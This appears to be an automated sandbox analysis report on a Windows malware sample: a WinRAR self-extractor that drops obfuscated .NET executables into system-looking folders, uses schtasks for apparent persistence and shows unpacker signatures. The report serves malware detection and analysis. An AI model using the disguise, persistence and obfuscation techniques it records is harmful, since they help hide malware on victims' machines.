Source: C:\Windows\SysWOW64\cmd.exe Section loaded: cmdext.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe Section loaded: version.dll Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe Section loaded: wldp.dll Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe Section loaded: profapi.dll Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe Section loaded: amsi.dll Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe Section loaded: userenv.dll Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe Section loaded: propsys.dll Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe Section loaded: edputil.dll Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe Section loaded: netutils.dll Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe Section loaded: slc.dll Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe Section loaded: sppc.dll Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: version.dll Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: mscoree.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: apphelp.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: kernel.appcore.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: version.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: uxtheme.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: windows.storage.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: wldp.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: profapi.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: cryptsp.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: rsaenh.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: cryptbase.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: sspicli.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: amsi.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: userenv.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: rasapi32.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: rasman.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: rtutils.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: mswsock.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: winhttp.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: iphlpapi.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: dhcpcsvc6.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: dhcpcsvc.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: dnsapi.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: winnsi.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: rasadhlp.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32 Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe Directory created: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe Directory created: C:\Program Files\Windows Portable Devices\8057c8f30c1a8e Jump to behavior
Source: 5P9EdUgv5r.exe Static file information: File size 1577715 > 1048576
Source: 5P9EdUgv5r.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: 5P9EdUgv5r.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: 5P9EdUgv5r.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: 5P9EdUgv5r.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: 5P9EdUgv5r.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: 5P9EdUgv5r.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
Source: 5P9EdUgv5r.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Source: 5P9EdUgv5r.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: 5P9EdUgv5r.exe
Source: 5P9EdUgv5r.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: 5P9EdUgv5r.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: 5P9EdUgv5r.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: 5P9EdUgv5r.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: 5P9EdUgv5r.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation
barindex
.NET source code contains method to dynamically call methods (often used by packers)
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, RjptLIiSqcughaqdf1L.cs .Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, RjptLIiSqcughaqdf1L.cs .Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
.NET source code contains potential unpacker
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, t4tDHDy3xyf70ZThD6b.cs .Net Code: nRF0Bp4XLZ System.AppDomain.Load(byte[])
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, t4tDHDy3xyf70ZThD6b.cs .Net Code: nRF0Bp4XLZ System.Reflection.Assembly.Load(byte[])
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, t4tDHDy3xyf70ZThD6b.cs .Net Code: nRF0Bp4XLZ
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, t4tDHDy3xyf70ZThD6b.cs .Net Code: nRF0Bp4XLZ System.AppDomain.Load(byte[])
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, t4tDHDy3xyf70ZThD6b.cs .Net Code: nRF0Bp4XLZ System.Reflection.Assembly.Load(byte[])
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, t4tDHDy3xyf70ZThD6b.cs .Net Code: nRF0Bp4XLZ
File is packed with WinRar
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe File created: C:\serversessionmonitor\__tmp_rar_sfx_access_check_5694421 Jump to behavior
PE file contains sections with non-standard names
Source: 5P9EdUgv5r.exe Static PE information: section name: .didat
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D7E28C push eax; ret 0_2_00D7E2AA
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D7ED46 push ecx; ret 0_2_00D7ED59
Source: C:\serversessionmonitor\blockfont.exe Code function: 4_2_00007FFD9B8E963B push edx; retf 4_2_00007FFD9B8E963C
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe Code function: 20_2_00007FFD9B8D963B push edx; retf 20_2_00007FFD9B8D963C
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe Code function: 22_2_00007FFD9B8F963B push edx; retf 22_2_00007FFD9B8F963C
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Code function: 37_2_00007FFD9B90562F push ebx; ret 37_2_00007FFD9B905632
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Code function: 37_2_00007FFD9B8E963B push edx; retf 37_2_00007FFD9B8E963C
Source: blockfont.exe.0.dr Static PE information: section name: .text entropy: 6.996043713722853
Source: qwhJcOiWbbUoQMvwnJNr.exe.4.dr Static PE information: section name: .text entropy: 6.996043713722853
Source: backgroundTaskHost.exe.4.dr Static PE information: section name: .text entropy: 6.996043713722853
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, c8VeNg6RLOVyQqHFv1x.cs High entropy of concatenated method names: '_4J6', '_5Di', '_1y5', '_77a', '_1X1', '_7fn', 'OUK', '_8S4', 'wUn', '_447'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, JaJ5hR6qqsfGUU4CAIb.cs High entropy of concatenated method names: 'P29', '_3xW', 'bOP', 'Th1', '_36d', 'vC7BKvE1Hh', 'WXhBU29r5A', 'r8j', 'LS1', '_55S'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, UVHsDNelqUENW95F8iI.cs High entropy of concatenated method names: 'p23', 'YZ8', 'Gog', 'G9C', 'YBE1XqgqG0ko5r2DERv', 'OMTEaQgjsUZZGFUGOxV', 'L4vdHIgLXEQsKuy8LCf', 'NfxpsPgTZAKIkQ6sq6s', 'Uc5TxGgwOMyQtVEEPs4', 'UuVvXkgt4t0hQXph7in'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, wSG768evECvlDqTUcmJ.cs High entropy of concatenated method names: 'kNf', 'YZ8', 'U31', 'G9C', 'ExxUqxg8aSdSGrSVw74', 'PLujdogE0f1bMcpouCy', 'rVY2rWg5tjEbBvxFtNE', 'uAjoyhgYCwYFDHwrOi1', 'xZOQB0g9RoMBK4pnxDH', 'jtBBetgeM4Zyd2vl132'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, XbJtgReCOk4Bf1sPPxE.cs High entropy of concatenated method names: '_625', 'YZ8', '_9pX', 'G9C', 'QuT6Aal1DhCATvFEMVB', 'uopZAKldyoeqbhcSsvu', 'f9moD6lF4dYhNBwmd3f', 'ScKCpalhGYhCNVCRbKV', 'bO7wmllGmO23dhQOQJv', 'Mu0eSMl3uOvCrCGV9vu'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, KoTg3X0nwsWjNk6y4av.cs High entropy of concatenated method names: '_5u9', 'VmQaoaKRAf', 'ypbGgv4TSA', 'sJOa1m3RYb', 'a8vYuIFUs8cijvNt1it', 'XTutUMFmX1WgRLTneAi', 'os2HynFups3KMxVZnUg', 'CJ31kaFX1MeVQMSgRVo', 'IB7GnIF7yuHwXUrjmKx', 'mvU0t9FzAla9VyXBLRE'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, lhqXAyE0XRxnQU6Flsl.cs High entropy of concatenated method names: 'WYndU1kFFVHO6uUlO5v', 'ibLo71kh7KstY1vEV5O', 'cZACoWk1qZ5oi9l8rKc', 'PolmlTkdsuVptZy8YeC', 'BCnoPTWL3J', 'XqPsmykBglybtn2Lkds', 'HxXJETkaE1blAIwiidX', 'sMu09hkGBNjnmmVeOXq', 'YmIV6nk3UhRjLoLmhhU', 'OXxtZEkyeC57s3lkIHQ'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, WJnPEKAdPFv9qvPdGbh.cs High entropy of concatenated method names: 'slrN00JnftxNSvEIn6D', 'zH3GJxJbABl0WhljXPq', 'FxSHedJ2Y2PtZDNbdH3', 'zq8LrZJxkH5CuU4lm0r', 'TDMwuNpYPV', 'WM4', '_499', 'IYfw72Bu3p', 'KdKwLRiLnu', 'lftwxjFaD2'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, axG4xJAngoLZPJlaaeD.cs High entropy of concatenated method names: 'PJ1', 'jo3', 'MilW3VKbrF', 'ctBWGcIbtK', 'On4WRadpa2', 'EC9', '_74a', '_8pl', '_27D', '_524'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, WsrusayxXuqYoP8ahcl.cs High entropy of concatenated method names: '_0023Nn', 'Dispose', 'dsXEubYF3k', 'nOEE7brsru', 'kaXELuqYoP', 'YahExclh0x', 'UHLE5YQ84q', 'njPXER4DaiZZiSqP8HL', 'EIYHRk4SO8WutIQeOAK', 'L8PjOR4NCbJe6jMDOjs'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, h5lYQWefq6vHfCRQaNA.cs High entropy of concatenated method names: 'bZWyRyhH8x', 'fV1ys4cgJ0', 'Vs819WlZL3i2FMstqS1', 'nhMk3tlSnYv83MmZxZo', 'tYwT4vllZ9bLpudrI58', 'deJ28hlKys7GfkoZ9PV', 'ynyeLYlr68e0tlbrRAf', 'RxSgJllRpiSKGYuebQD', 'VSEQXXlo97E6ItMYwNL', 'WxOqWNlMxl3a8iTN2Nb'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, AsKPR9AwP98g7Tn7WsG.cs High entropy of concatenated method names: 'D4M', '_4DP', 'HU2', '_4Ke', '_5C9', '_7b1', 'lV5', 'H7p', 'V5L', '_736'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, gF35XVAlfJgwhKc4Fn8.cs High entropy of concatenated method names: '_7tu', '_8ge', 'DyU', '_58f', '_254', '_6Q3', '_7f4', 'B3I', '_75k', 'd4G'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, t4tDHDy3xyf70ZThD6b.cs High entropy of concatenated method names: 'DSS0kNDmBS', 'zTs0dsrk1W', 'eYI0u0OMA7', 'Bs007NxGGs', 'zcF0LqoTY7', 'GLn0xv6Ucb', 'XAv05QmXmv', 'lxb36brGUosHPEYc2gJ', 'g9IjhcrFK9T5oKaD6D5', 'X1AinZrhO00clf3CmAE'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, LVTeDfAOyZM3IpY7TQQ.cs High entropy of concatenated method names: '_159', 'rI9', '_2Cj', 'D5dwlQifvD', 'vIGwbRMSUa', 'vnAww4gX7U', 'EkswMhAj0H', 'ToPw2fDgfC', 'IbVwWfLxvV', 'WUaspjC5TLmRwkx9O75'
